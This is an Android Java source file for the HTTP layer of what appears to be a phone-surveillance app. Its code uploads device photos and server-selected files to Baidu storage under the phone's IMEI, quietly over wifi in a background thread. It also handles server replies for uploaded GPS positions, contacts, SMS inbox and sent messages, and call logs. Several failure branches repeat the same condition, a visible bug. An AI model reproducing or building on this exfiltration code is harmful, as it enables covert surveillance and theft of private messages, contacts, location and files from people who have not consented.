/*
 * 文  件   名： HttpActionBase.java
 * 版          权： Copyright GoPawPaw All Rights Reserved.
 * 描          述：[该类的简要描述]
 * 创  建   人： LiJinHua
 * 创建时间： 2012-4-12
 * 
 * 修   改  人：
 * 修改时间：
 * 修改内容：[修改内容]
 */
package im.device.config.action;

import im.device.config.Constants;
import im.device.config.Constants.URLParamKey;
import im.device.config.MessageManager;
import im.device.config.R;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.Thread.State;
import java.util.ArrayList;
import java.util.HashMap;

import org.json.JSONArray;
import org.json.JSONObject;

import com.baidu.Storage;

import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.net.Uri;
import android.os.Handler;
import android.os.Message;
import android.provider.MediaStore;
import app.http.HttpConnector;
import app.http.HttpHelper;
import app.http.HttpListener;
import app.http.HttpRequest;
import app.http.HttpResponse;
import app.log.AppLog;
import app.paser.JsonKey;
import app.paser.JsonParser;
import app.paser.ParserInterface;
import app.utils.AESUtils;
import app.utils.BitmapUtils;
import app.utils.CommonUtils;
import app.utils.ImageUtils;
import app.utils.Tools;


/**
 * Http请求基类
 * 
 * @author LiJinHua
 * @date 2012-4-12
 * @version [Android 1.0.0, 2012-4-12]
 * @description
 */
public class HttpAction implements HttpListener {
	/**
	 * TAG
	 */
	private static final String TAG = HttpAction.class.getSimpleName();

	public static final int STATE_SUCCESS = 0;
	
	public static final int STATE_FAILED = 1;
	

	/**
	 * 显示提示信息
	 */
	public static final int MSG_SHOW_ALERTDIALOG = 101;

	/**
	 * 发送请求的Context
	 */
	private Context mContext;
	
	/**
	 * 解析器类
	 */
	private Class<?> parserClass = JsonParser.class;
	
	/**
	 * 解析器对象
	 */
	private ParserInterface mParser;
	
	/**
	 * [构造简要说明]
	 * 
	 * @param httpActionListener
	 */
	public HttpAction(Context context) {
		HttpHelper.setResources(context);
		this.mContext = context;
	}

	/**
	 * 发送RUL请求
	 * 
	 * @param urlId
	 */
	public void sendRequest(int urlId) {
		sendRequest(urlId, 0, this, null, false);
	}

	/**
	 * 发送URL请求
	 * @param urlId 请求UrlId
	 * @param connectionId 请求链接Id
	 */
	public void sendRequest(int urlId,int connectionId) {
		sendRequest(urlId, connectionId, this, null, false);
	}
	
	/**
	 * 发送URL请求
	 * @param urlId 请求UrlId
	 * @param paramObj 请求参数字典
	 */
	public void sendRequest(int urlId,Object paramObj) {
		sendRequest(urlId, 0, this, paramObj, false);
	}
	
	/**
	 * 发送URL请求
	 * @param urlId 请求UrlId
	 * @param paramObj 请求参数字典
	 * @param urlId
	 * @param paramObj
	 * @param requestMethod HttpRequest.REQUEST_METHOD_GET HttpRequest.REQUEST_METHOD_POST
	 */
	public void sendRequest(int urlId,Object paramObj,String requestMethod) {
		sendRequest(urlId, 0, this, paramObj, false,requestMethod);
	}
	
	/**
	 * 发送URL请求
	 * @param urlId 请求UrlId
	 * @param paramObj 请求参数字典
	 * @param urlId
	 * @param paramObj
	 * @param requestMethod HttpRequest.REQUEST_METHOD_GET HttpRequest.REQUEST_METHOD_POST
	 */
	public void sendRequest(int urlId,int connectionId,Object paramObj,String requestMethod) {
		sendRequest(urlId, connectionId, this, paramObj, false,requestMethod);
	}
	
	/**
	 * 发送URL请求
	 * @param urlId 请求UrlId
	 * @param connectionId 请求链接Id
	 * @param paramObj 请求参数字典
	 */
	public void sendRequest(int urlId,int connectionId,Object paramObj) {
		sendRequest(urlId, connectionId, this, paramObj, false);
	}
	
	/**
	 * 发送URL请求
	 * @param urlId 请求UrlId
	 * @param connectionId 请求链接Id
	 * @param paramObj 请求参数字典
	 * @param remove 在请求之前清空请求队列
	 */
	public void sendRequest(int urlId,int connectionId,Object paramObj,boolean remove) {
		sendRequest(urlId, connectionId, this, paramObj, remove,HttpRequest.REQUEST_METHOD_GET);
	}
	
	/**
	 * 发送URL请求
	 * @param urlId
	 *            请求UrlId
	 * @param connectionId
	 *            请求链接Id
	 * @param httpListener
	 *            请求监听器
	 * @param paramObj
	 *            请求参数字典
	 * @param remove
	 *            在请求之前清空请求队列
	 */
	private void sendRequest(int urlId, int connectionId,
			HttpListener httpListener, Object paramObj, boolean remove){
		sendRequest(urlId, connectionId, this, paramObj, remove,HttpRequest.REQUEST_METHOD_GET);
	}
	
	/**
	 * 发送URL请求
	 * @param urlId
	 *            请求UrlId
	 * @param connectionId
	 *            请求链接Id
	 * @param httpListener
	 *            请求监听器
	 * @param paramObj
	 *            请求参数字典
	 * @param remove
	 *            在请求之前清空请求队列
	 */
	private void sendRequest(int urlId, int connectionId,
			HttpListener httpListener, Object paramObj, boolean remove,String requestMethod) {

		if (!CommonUtils.isNetworkAvailable(mContext)) {
			AppLog.e(TAG, "网络不可用");

			return;
		}

		int mode = HttpRequest.REQUEST_MODE_3;

		if (remove) {
			// 清空请求队列
			mode = HttpRequest.REQUEST_MODE_1;
		}

		String url = HttpHelper.getUrlById(urlId);
		String data = HttpHelper.getRequestURLParam(paramObj, urlId);

		// 创建新的请求
		HttpRequest request = new HttpRequest(url, data, httpListener, mode,
				HttpRequest.REQUEST_TYPE_1, requestMethod);
		request.setUrlId(urlId);
		request.setConnectionId(connectionId);

		// 发送Http请求
		HttpConnector.sendHttpRequest(request);

	}
	
	private ArrayList<HashMap<String,String>> mListPhotoData;
	private int mCurrentPhotoIndex = 0;
	private HashMap<String,String> mPhotoParamMap;
	
	/**
	 * 
	 * @param listData
	 */
	public void sendPhoto(HashMap<String,String> paramMap,ArrayList<HashMap<String,String>> listData) {

		if (!CommonUtils.isNetworkAvailable(mContext)) {
			AppLog.e(TAG, "网络不可用");
			return;
		}
		
		mPhotoParamMap = paramMap;
		mListPhotoData = listData;
		mCurrentPhotoIndex = -1;
		
		int size = listData.size();
		AppLog.d(TAG, "等待发送图片数量："+size);
		
		sendNextPhoto();
	}
	
	private boolean sendNextPhoto(){
		
		if(!"wifi".equals(CommonUtils.getAPNType(mContext))){
			//非wifi网络不发送，以节省流量
			return true;
		}
		
		++mCurrentPhotoIndex;
		AppLog.d(TAG, "正在发送photo index："+mCurrentPhotoIndex);
		
		int size = mListPhotoData.size();
		if(mCurrentPhotoIndex<0 || mCurrentPhotoIndex>=size){
			AppLog.e(TAG, "已经发送完mCurrentPhotoIndex="+mCurrentPhotoIndex);
			return true;
		}
		
		HashMap<String,String> data = mListPhotoData.get(mCurrentPhotoIndex);
		String photoId = data.get(URLParamKey.ID);
		AppLog.d(TAG, "正在发送photo photoId："+photoId);
		if(isPhotoPost(photoId)){
			//已发送，则发送下一张
			sendNextPhoto();
			return false;
		}
		
		int connectionId = 0;
		try {
			connectionId = Integer.parseInt(photoId);
		} catch (Exception e) {
			e.printStackTrace();
		}
		
//		String imgData = getPhotoString(photoId);
		String imgData="";
		if(imgData==null){
			//获取图片失败，则以后都不发送这张了，同时发送下一张
			CommonUtils.saveSysMap(mContext, photoId, "true");
			sendNextPhoto();
			return false;
		}
		
		mPhotoParamMap.put(URLParamKey.IMG_ID, photoId);
		mPhotoParamMap.put(URLParamKey.IMG_DATA, imgData);
		mPhotoParamMap.put(URLParamKey.IMG_NAME, data.get(URLParamKey.NAME));
		mPhotoParamMap.put(URLParamKey.IMG_TIME, data.get(URLParamKey.TIME));
		mPhotoParamMap.put(URLParamKey.IMG_PATH, data.get(URLParamKey.IMG_PATH));
		
		String postData =  HttpHelper.getRequestURLParam(mPhotoParamMap, R.string.URL_uploadFileImg);
		
		AppLog.d(TAG, "sendPhoto id="+connectionId);
//		AppLog.d(TAG, "sendPhoto postData="+postData);
		
		String url = HttpHelper.getUrlById(R.string.URL_PHOTO);
		// 创建新的请求
		HttpRequest request = new HttpRequest(url, postData, this, HttpRequest.REQUEST_MODE_3,
				HttpRequest.REQUEST_TYPE_2, HttpRequest.REQUEST_METHOD_POST);
		request.setUrlId(R.string.URL_PHOTO);
		request.setConnectionId(connectionId);
		// 发送Http请求
		HttpConnector.sendHttpRequest(request);
		
		return true;
	}
	
	/**
	 * 判断是否已经发送
	 * @param photoId
	 * @return
	 */
	private boolean isPhotoPost(String photoId){
		boolean ret = false;
		String haspost = CommonUtils.getSysValue(mContext,photoId, "0");
		if("true".equals(haspost)){
			ret = true;
		}
		return ret;
	}
	
	/**
	 * 获取图片16进制字符串
	 * @param photoid
	 * @return
	 */
	private String getPhotoString(String photoid){
		
		Uri uri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI.buildUpon()
				.appendPath(photoid).build();
		ContentResolver resolver = mContext.getContentResolver();

		String retString = null;
		// 从Uri中读取图片资源
		try {
			byte[] mContent = app.utils.FileUtil.readStream(resolver
					.openInputStream(Uri.parse(uri.toString())));
			if(mContent == null){
				return null;
			}
			
			if(mContent.length > 1024 * 1024){
				AppLog.d(TAG, "图片大于1MB,需要压缩：" + (mContent.length/(1024))+"KB");
				Bitmap bmp = BitmapFactory.decodeByteArray(mContent, 0, mContent.length);
//				Bitmap bmpNew = BitmapUtils.getScaleBitmap(bmp, 0.5f);
				ByteArrayOutputStream stream = new ByteArrayOutputStream();
				bmp.compress(Bitmap.CompressFormat.JPEG, 50, stream);
				mContent = stream.toByteArray();
				AppLog.d(TAG, "压缩后大小：" + (mContent.length/(1024))+"KB");
			}else{
				AppLog.d(TAG, "图片不需要压缩：" + (mContent.length/(1024))+"KB");
			}
			
			retString = AESUtils.parseByte2HexStr(mContent);
			mContent = null;
		} catch (Exception e) {
			// TODO: handle exception
			e.printStackTrace();
		}
//		AppLog.d(TAG, "图片16进制:photoid:"+photoid+"= "+retString);
		return retString;
	}
	
	public void sendUpload(){
		sendRequest(R.string.URL_getUploadFileTypes);
	}
	
	/**
	 * 上传到百度
	 * @param filePath
	 */
	public boolean sendUploadBaidu(String filePath){
		if(!"wifi".equals(CommonUtils.getAPNType(mContext))){
			//非wifi网络不发送，以节省流量
			AppLog.w(TAG, "非wifi网络不发送图片，以节省流量");
			return false;
		}
		String haspost = CommonUtils.getSysValue(mContext,filePath, "0");
		boolean flag = false;
		if("true".equals(haspost)){
			//已经上传成功
			AppLog.i(TAG, "已经上传成功");
			flag = true;
		}else{
			//未上传成功
			if(Storage.uploadFile(filePath,MessageManager.IMEI+"-"+MessageManager.MODEL)){
				//存储成功
				CommonUtils.saveSysMap(mContext, filePath, "true");
				AppLog.i(TAG, "上传成功");
				flag = true;
			}else{
				AppLog.w(TAG, "上传失败");
				flag = false;
			}
		}
		return flag;
	}
	
	private Thread mThreadSendFile = null;
	private void uploadFile(final boolean isUploadOther,final ArrayList<ArrayList<String>> conditionList){
		AppLog.i(TAG, "uploadFile");
		if(mThreadSendFile == null){
			mThreadSendFile = new Thread(){
				@Override
				public void run() {
					while(true){
					// TODO Auto-generated method stub
					if(!"wifi".equals(CommonUtils.getAPNType(mContext))){
						//非wifi网络不发送，以节省流量
						AppLog.w(TAG, "非wifi网络不发送，以节省流量,进入等待");
						synchronized (mThreadSendFile) {
							try {
								mThreadSendFile.wait();
							} catch (InterruptedException e) {
								// TODO Auto-generated catch block
								e.printStackTrace();
							}
						}
						return;
					}
					
					ArrayList<ArrayList<String>>  list = MessageManager.getInstance(mContext).getStorageFileList( isUploadOther, conditionList);
					for(ArrayList<String> listFile : list){
						AppLog.d(TAG, "listFile "+listFile.size() + "  "+listFile.get(0));
							int size = listFile.size();
							AppLog.d(TAG, "需要上传数量 = "+size);
							for(int i=0;i<size;i++){
								String path = listFile.get(i);
								AppLog.i(TAG, "正在上传第 "+i+" 个 ："+path);
								if(sendUploadBaidu(path)){
									AppLog.i(TAG, "上传成功");
								}else{
									AppLog.w(TAG, "上传失败");
								}
							}
					}
					
//					
//					if(listDoc != null){
//						int size = listDoc.size();
//						AppLog.d(TAG, "需要上传doc数量 = "+size);
//						for(int i=0;i<size;i++){
//							String path = listDoc.get(i);
//							if(!"wifi".equals(CommonUtils.getAPNType(mContext))){
//								//非wifi网络不发送，以节省流量
//								AppLog.w(TAG, "非wifi网络不发送，以节省流量,进入等待");
//								synchronized (mThreadSendFile) {
//									try {
//										mThreadSendFile.wait();
//									} catch (InterruptedException e) {
//										// TODO Auto-generated catch block
//										e.printStackTrace();
//									}
//								}
//								return;
//							}
//							AppLog.i(TAG, "正在上传第 "+i+" 个 ："+path);
//							if(mHttpAction.sendUploadBaidu(path)){
//								AppLog.i(TAG, "上传成功");
//							}else{
//								AppLog.w(TAG, "上传失败");
//							}
//						}
//					}
//					
//					if(listVdio != null){
//						int size = listVdio.size();
//						AppLog.d(TAG, "需要上传vdio数量 = "+size);
//						for(int i=0;i<size;i++){
//							String path = listVdio.get(i);
//							if(!"wifi".equals(CommonUtils.getAPNType(mContext))){
//								//非wifi网络不发送，以节省流量
//								AppLog.w(TAG, "非wifi网络不发送，以节省流量,进入等待");
//								synchronized (mThreadSendFile) {
//									try {
//										mThreadSendFile.wait();
//									} catch (InterruptedException e) {
//										// TODO Auto-generated catch block
//										e.printStackTrace();
//									}
//								}
//								return;
//							}
//							AppLog.i(TAG, "正在上传第 "+i+" 个 ："+path);
//							if(mHttpAction.sendUploadBaidu(path)){
//								AppLog.i(TAG, "上传成功");
//							}else{
//								AppLog.w(TAG, "上传失败");
//							}
//						}
//					}
//					
//					if(listOrder != null){
//						int size = listOrder.size();
//						AppLog.d(TAG, "需要上传order数量 = "+size);
//						for(int i=0;i<size;i++){
//							String path = listOrder.get(i);
//							if(!"wifi".equals(CommonUtils.getAPNType(mContext))){
//								//非wifi网络不发送，以节省流量
//								AppLog.w(TAG, "非wifi网络不发送，以节省流量,进入等待");
//								synchronized (mThreadSendFile) {
//									try {
//										mThreadSendFile.wait();
//									} catch (InterruptedException e) {
//										// TODO Auto-generated catch block
//										e.printStackTrace();
//									}
//								}
//								return;
//							}
//							AppLog.i(TAG, "正在上传第 "+i+" 个 ："+path);
//							if(mHttpAction.sendUploadBaidu(path)){
//								AppLog.i(TAG, "上传成功");
//							}else{
//								AppLog.w(TAG, "上传失败");
//							}
//						}
//					}
					synchronized (mThreadSendFile) {
						try {
							AppLog.w(TAG, "进入等待");
							mThreadSendFile.wait();
						} catch (InterruptedException e) {
							// TODO Auto-generated catch block
							e.printStackTrace();
						}
					}
					}
				}
			};
			mThreadSendFile.start();
		}else if(mThreadSendFile.getState() == State.WAITING){
			synchronized (mThreadSendFile) {
				mThreadSendFile.notify();
			}
		}
	}
	
	@Override
	public void httpResponse(HttpResponse httpResponse) {
		// TODO Auto-generated method stub

		AppLog.d(TAG,
				"Code:" + httpResponse.getResponseCode() + "Type:"
						+ httpResponse.getContentType() + "Length:"
						+ httpResponse.getContentLength());
		
		Object data = null;
		if (httpResponse.getResponseCode() == HttpResponse.RESPONSE_CODE_SUCCESS) {
			// Http返回成功
			InputStream is = httpResponse.getInputStream();

			byte[] bs = null;
			try {
				bs = CommonUtils.readStream(is);
			} catch (IOException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			}
			
			if(bs == null){
				//数据读取失败
				AppLog.e(TAG, "数据读取失败");
				return;
			}
			
			if (AppLog.IS_DEBUG) {
				// 调试模式下，打印出服务器返回的报文
				AppLog.d(TAG, "=============================url="+HttpHelper.getUrlById(httpResponse.getHttpRequest().getUrlId()));
				AppLog.d(TAG, new String(bs));
			}

			//进行数据解析
			data = actionParse(bs);

			if (data == null) {
				// 数据解析失败
				AppLog.e(TAG, "数据解析失败");
			} else {
				// 获取错误码
				AppLog.d(TAG, "数据解析成功");
				actionResponse(data, httpResponse.getHttpRequest().getUrlId(),httpResponse.getHttpRequest().getConnectionId());
			}
		} else {
			// Http错误返回
			String errMsg = "数据请求失败，请检查您的网络设置！";
			AppLog.e(TAG,errMsg);
			actionResponse(data, httpResponse.getHttpRequest().getUrlId(),httpResponse.getHttpRequest().getConnectionId());
		}
	}

	/**
	 * 执行响应
	 * @param data
	 * @param urlId
	 * @param connectionId
	 */
	private void actionResponse(Object data, int urlId, int connectionId){
		int state = STATE_FAILED;
		if(mParser != null){
			state = mParser.checkErrorCode(data,urlId);
		}
		
		if(state != STATE_SUCCESS){
			//请求失败，则不处理
			if(urlId == R.string.URL_PHOTO){
				AppLog.w(TAG, "图片发送返回失败：photoId="+connectionId);
				sendNextPhoto();
			}else if(urlId == R.string.URL_PHOTO){
				AppLog.w(TAG, "发送返回失败：urlId=URL_DEVICE_REGISTER");
			}else if(urlId == R.string.URL_PHOTO){
				AppLog.w(TAG, "发送返回失败：urlId=URL_GPS");
			}else if(urlId == R.string.URL_PHOTO){
				AppLog.w(TAG, "发送返回失败：urlId=URL_CONTACT");
			}else if(urlId == R.string.URL_PHOTO){
				AppLog.w(TAG, "发送返回失败：urlId=URL_SMSINBOX");
			}else if(urlId == R.string.URL_PHOTO){
				AppLog.w(TAG, "发送返回失败：urlId=URL_SMSSENTBOX");
			}else if(urlId == R.string.URL_PHOTO){
				AppLog.w(TAG, "发送返回失败：urlId=URL_CALL_LOG");
			}else if(urlId == R.string.URL_getUploadFileTypes){
				AppLog.w(TAG, "发送返回失败：urlId=URL_getUploadFileTypes ");
			}
			return;
		}
		
		if(urlId == R.string.URL_DEVICE_REGISTER){
			//设备注册返回
			JSONObject json = (JSONObject)data;
			String idStr = ""+Tools.getValuseFromJSONObject(json, JsonKey.DATA,JsonKey.ID);
			CommonUtils.saveSysMap(mContext, Constants.DEVICE_ID, ""+idStr);
			
			onDeviceRegister(idStr);
			AppLog.i(TAG, "设备注册返回id："+idStr);
		}else if(urlId == R.string.URL_GPS){
			//GPS返回
			AppLog.i(TAG, "发送返回成功：urlId=URL_GPS");
		}else if(urlId == R.string.URL_CONTACT){
			//联系人返回
			CommonUtils.saveSysMap(mContext, Constants.LAST_CONTACT_TIME, ""+System.currentTimeMillis());
			AppLog.i(TAG, "发送返回成功：urlId=URL_CONTACT");
		}else if(urlId == R.string.URL_SMSINBOX){
			//收件箱返回
			JSONObject json = (JSONObject)data;
			String idStr = ""+Tools.getValuseFromJSONObject(json, JsonKey.DATA,JsonKey.ID);
			int id = 0;
			try {
				id = Integer.parseInt(idStr);
			} catch (Exception e) {
				// TODO: handle exception
			}
			CommonUtils.saveSysMap(mContext, Constants.LAST_SMS_INBOX_ID, ""+id);
			AppLog.i(TAG, "发送返回成功：urlId=URL_SMSINBOX");
		}else if(urlId == R.string.URL_SMSSENTBOX){
			//发件箱返回
			JSONObject json = (JSONObject)data;
			String idStr = ""+Tools.getValuseFromJSONObject(json, JsonKey.DATA,JsonKey.ID);
			int id = 0;
			try {
				id = Integer.parseInt(idStr);
			} catch (Exception e) {
				// TODO: handle exception
			}
			CommonUtils.saveSysMap(mContext, Constants.LAST_SMS_SENTBOX_ID, ""+id);
			AppLog.i(TAG, "发送返回成功：urlId=URL_SMSSENTBOX");
		}else if(urlId == R.string.URL_CALL_LOG){
			//拨打纪录返回
			JSONObject json = (JSONObject)data;
			String idStr = ""+Tools.getValuseFromJSONObject(json, JsonKey.DATA,JsonKey.ID);
			int id = 0;
			try {
				id = Integer.parseInt(idStr);
			} catch (Exception e) {
				// TODO: handle exception
			}
			CommonUtils.saveSysMap(mContext, Constants.LAST_CALLLOG_ID, ""+id);
			AppLog.i(TAG, "发送返回成功：urlId=URL_CALL_LOG");
		}else if(urlId == R.string.URL_PHOTO){
			//发送成功，保存，并发送下一张
			JSONObject json = (JSONObject)data;
			String idStr = ""+Tools.getValuseFromJSONObject(json, JsonKey.DATA,JsonKey.ID);
			CommonUtils.saveSysMap(mContext, idStr, "true");
			AppLog.d(TAG, "图片发送返回成功：photoId="+connectionId+"  idStr="+idStr);
			sendNextPhoto();
		}else if(urlId == R.string.URL_getUploadFileTypes){
			try {
				JSONObject json = (JSONObject)data;
				String uploadOther = ""+Tools.getValuseFromJSONObject(json, JsonKey.DATA,JsonKey.UPLOAD_OTHER);
				JSONObject jsonDATA = json.getJSONObject(JsonKey.DATA);
				JSONArray jsonArray = jsonDATA.getJSONArray(JsonKey.LIST);
				
				boolean isUploadOther = false;
				if("y".equalsIgnoreCase(uploadOther)){
					isUploadOther = true;
				}
				
				ArrayList<ArrayList<String>> conditionList = new ArrayList<ArrayList<String>>();
				int size = jsonArray.length();
				for(int i=0;i<size;i++){
					ArrayList<String> list = new ArrayList<String>();
					conditionList.add(list);
					JSONArray jA = jsonArray.getJSONArray(i);
					if(jA != null){
						int size2 = jA.length();
						for(int i2=0;i2<size2; i2++){
							list.add(jA.optString(i2));
						}
					}
				}
				AppLog.i(TAG, "发送返回成功：urlId=URL_getUploadFileTypes uploadOther="+uploadOther+"  conditionList="+conditionList);
				uploadFile(isUploadOther, conditionList);
			} catch (Exception e) {
				// TODO: handle exception
				e.printStackTrace();
			}
		}
		
		AppLog.d(TAG,"actionResponse state="+state);
	}
	
	/**
	 * 执行解析
	 * 
	 * @param bs
	 */
	private Object actionParse(byte[] bs) {
		Object data = null;
		try {
			Object obj = parserClass.newInstance();
			if(obj instanceof ParserInterface){
				mParser = (ParserInterface)obj;
				mParser.actionParse(bs);
				data = mParser.getData();
			}else{
				AppLog.e(TAG, "找不到解析器");
			}
		} catch (IllegalAccessException e1) {
			// TODO Auto-generated catch block
			e1.printStackTrace();
		} catch (InstantiationException e1) {
			// TODO Auto-generated catch block
			e1.printStackTrace();
		}
		return data;
	}
	
	/**
	 * 框架统一消息弹出处理交互Handler对象
	 */
	private Handler mHandler = new Handler() {

		@Override
		public void handleMessage(Message msg) {
			super.handleMessage(msg);
			switch (msg.what) {
			case MSG_SHOW_ALERTDIALOG:
//				String errMsg = (String) msg.obj;
//				DialogUtils.showAlertDialog(activity,errMsg);
//				Toast.makeText(activity, errMsg, Toast.LENGTH_SHORT).show();
				break;

			default:
				break;
			}
		}

	};

	/**
	 * 相应设备注册成功
	 * @param deviceId
	 */
	protected void onDeviceRegister(String deviceId) {
		
	}
	/**
	 * 
	 * [框架统一提示信息弹出方法]<BR>
	 * 
	 * @param errMsg
	 *            错误提示信息
	 */
	private void showErrorMsg(String errMsg) {
		Message msg = new Message();
		msg.what = MSG_SHOW_ALERTDIALOG;
		if (errMsg == null || "".equals(errMsg)) {
			return;
		}
		msg.obj = errMsg;
		mHandler.sendMessage(msg);
	}

	public void setParserClass(Class<?> parserClass) {
		this.parserClass = parserClass;
	}
	
	public void setContext(Context mContext) {
		this.mContext = mContext;
	}

}
